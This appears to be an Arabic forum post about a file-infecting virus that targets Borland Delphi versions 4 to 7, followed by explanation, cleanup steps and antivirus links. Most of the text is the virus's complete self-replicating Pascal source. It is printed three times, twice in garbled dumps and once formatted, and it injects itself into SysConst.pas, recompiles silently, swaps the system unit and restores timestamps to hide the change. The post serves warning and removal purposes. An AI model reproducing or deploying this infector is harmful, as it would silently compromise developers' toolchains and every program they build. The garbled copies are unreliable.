'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar (d+$dcu$),pchar(d+$bak$',
')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',
'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e +$"$+d+$pas"$),0,0,false,0,0,0,',
'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile( pchar(d+$bak$),',
'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=Cre ateFile(pchar(d+$bak$),0,0,0,3,',
'0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',
'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',
'@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of',
'char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',
'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi \$+v+$.0$),0,KEY_READ,k)=0 then',
'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',
'1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+',
'$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',
'begin st; end.');
function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]
=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;
h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:b oolean;t1,t2,t3:FILETIME;begin
ج:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle
(h);exit;end;{'I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile
(f2,d+'pas');rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while
not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos('implementation',s)<>0
then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2
,''''+sc[h],''',');writeln(f2,''''+sc[24]+''');');for h:= 2 to 24 do writeln(f2,
x(sc[h]));closefile(f1);closefile(f2);{'I+}MoveFile(pchar (d+'dcu'),pchar(d+'bak'
)); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.
wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+ '"'+d+'pas"'),0,0,false,0,0,0,
f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile( pchar(d+'bak'),
pchar(d+'dcu'));DeleteFile(pchar(d+'pas'));h:=Crea teFile(pchar(d+'bak'),0,0,0,3,
0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=
CreateFile(pchar(d+'dcu'),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,
@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of
char; i:cardinal; r:string; v:char; begin for v:='4' to '7' do if RegOpenKeyEx(
HKEY_LOCAL_MACHINE,pchar('Software\Borland\Delphi\ '+v+'.0'),0,KEY_READ,k)=0 then
begin i:=255;if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then begin r:='';i:=
1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+'sourcertlsysSysConst'+
'.pas',r+'libsysconst.','"'+r+'\bin\dcc32.exe" );end;RegCloseKey(k);end; end;
begin st; end.
خوارزميات التلويث :
var sc: array[1..24] of string = (
'uses windows; var sc:array[1..24] of string=(',
'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',
'=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b: boolean;t1,t2,t3:FILETIME;begin',
'?:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
'(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
'not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s)<>0',
'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar (d+$dcu$),pchar(d+$bak$',
')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',
'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e +$"$+d+$pas"$),0,0,false,0,0,0,',
'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile( pchar(d+$bak$),',
'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=Cre ateFile(pchar(d+$bak$),0,0,0,3,',
'0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',
'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',
'@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of',
'char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',
'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi \$+v+$.0$),0,KEY_READ,k)=0 then',
'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',
'1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+',
'$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',
'begin st; end.');
function x(s: string): string;
var i: integer;
begin
for i := 1 to length(s) do if s[i] = #36 then
s[i] := #39;
result := s;
end;
procedure re(s, d, e: string);
var f1, f2: textfile;
h: cardinal;
f: STARTUPINFO;
p: PROCESS_INFORMATION;
b: boolean;
t1, t2, t3: FILETIME;
begin
h := CreateFile(pchar(d + 'bak'), 0, 0, 0, 3, 0, 0);
if h <> DWORD(-1) then
begin CloseHandle(h);
exit;
end;
{'I-}
assignfile(f1, s);
reset(f1);
if ioresult <> 0 then
exit;
assignfile(f2, d + 'pas');
rewrite(f2);
if ioresult <> 0 then
begin closefile(f1);
exit;
end;
while not eof(f1) do
begin readln(f1, s);
writeln(f2, s);
if pos('implementation', s) <> 0 then
break;
end;
for h := 1 to 1 do
writeln(f2, sc[h]);
for h := 1 to 23 do writeln(f2, '''' + sc[h], ''',');
writeln(f2, '''' + sc[24] + ''');');
for h := 2 to 24 do writeln(f2, x(sc[h]));
closefile(f1);
closefile(f2);
{'I+}
MoveFile(pchar(d + 'dcu'), pchar(d + 'bak'));
fillchar(f, sizeof(f), 0);
f.cb := sizeof(f);
f.dwFlags := STARTF_USESHOWWINDOW;
f.wShowWindow := SW_HIDE;
b := CreateProcess(nil, pchar(e + '"' + d + 'pas"'), 0, 0, false, 0, 0, 0, f, p);
if b then
WaitForSingleObject(p.hProcess, INFINITE);
MoveFile(pchar(d + 'bak'), pchar(d + 'dcu'));
DeleteFile(pchar(d + 'pas'));
h := CreateFile(pchar(d + 'bak'), 0, 0, 0, 3, 0, 0);
if h = DWORD(-1) then
exit;
GetFileTime(h, @t1, @t2, @t3);
CloseHandle(h);
h := CreateFile(pchar(d + 'dcu'), 256, 0, 0, 3, 0, 0);
if h = DWORD(-1) then
exit;
SetFileTime(h, @t1, @t2, @t3);
CloseHandle(h);
end;
procedure st;
var k: HKEY; c: array[1..255] of char;
i: cardinal;
r: string;
v: char;
begin
for v := '4' to '7' do
if RegOpenKeyEx(HKEY_LOCAL_MACHINE, pchar('Software\Borland\Delphi\' + v + '.0'), 0, KEY_READ, k) = 0 then
begin i := 255;
if RegQueryValueEx(k, 'RootDir', nil, @i, @c, @i) = 0 then
begin r := '';
i := 1;
while c[i] <> #0 do
begin r := r + c[i];
inc(i);
end;
re(r + 'sourcertlsysSysConst' + '.pas', r + 'libsysconst.', '"' + r + '\bin\dcc32.exe" );
end;
RegCloseKey(k);
end;
end;
طريقة عمل الفيروس :
1- نسخ الملف SysConst.pas الأصلي من مجلد : \source\rtl\sys الى مجلد Lib.
2- اضافة الأوامر التي تم ذكرها في نفس الملف.
3- استعمال ملف dcc32.exe لانتاج ملف SysConst.dcu.
4- حذف الملف SysConst.pas المنسوخ في المجلد Lib.
----
5- عمل نسخة Backup للملف الأصلي SysConst.dcu و استبدال الأصلي بالنسخة الملوثة.
في كل مرة مع تشغل الملفات الملوثة المنتجة بدلفي يقوم الفيروس المحقون في الكود بالتحقق بعمل CreateFile على ملف SysConst.bak و في حالة وجوده لا يتم التلويث و العكس صحيح...
الاصدارات المستهدفة تخص نسخ Borland.
Malware يصيب و يبحث عن نسخ دلفي من 4-7 :
procedure st;
var k: HKEY; c: array[1..255] of char;
i: cardinal;
r: string;
v: char;
begin
for v := '4' to '7' do
.
التنظيف يكون على مرحلتين :
المرحلة الأولى :
1- حذف ملف SysConst.dcu من المجلد Lib
2- نسخ ملف SysConst.bak و اعادة تسمية النسخة الى SysConst.dcu
3- الاحتفاظ بالنسخة SysConst.bak لكي لا يتم اعادة تلويث المجلد من جديد.
المرحلة الثانية :
1- حذف كل الملفات التنفيذية التي عملتها بنسخة دلفي الملوثة و اعادة عمل Complie للمشاريع التي تخصها.
2- ايضا احذف الملفات التجريبية - المنتجة بدلفي- التي حملت من النت و احتفظ فقط بالملفات المصدرية.
لتفادي هذه المراحل :rtfm3: يمكنك عمل update لمضاد الفيروسات و فحص جهازك.
وهذه مواقع الحمايه
تتحدث عن الفيروس
http://news.bitdefender.com/NW1116-e...lications.html
http://blog.avast.com/2009/08/19/win...file-infector/
http://www.viruslist.com/en/weblog?weblogid=208187826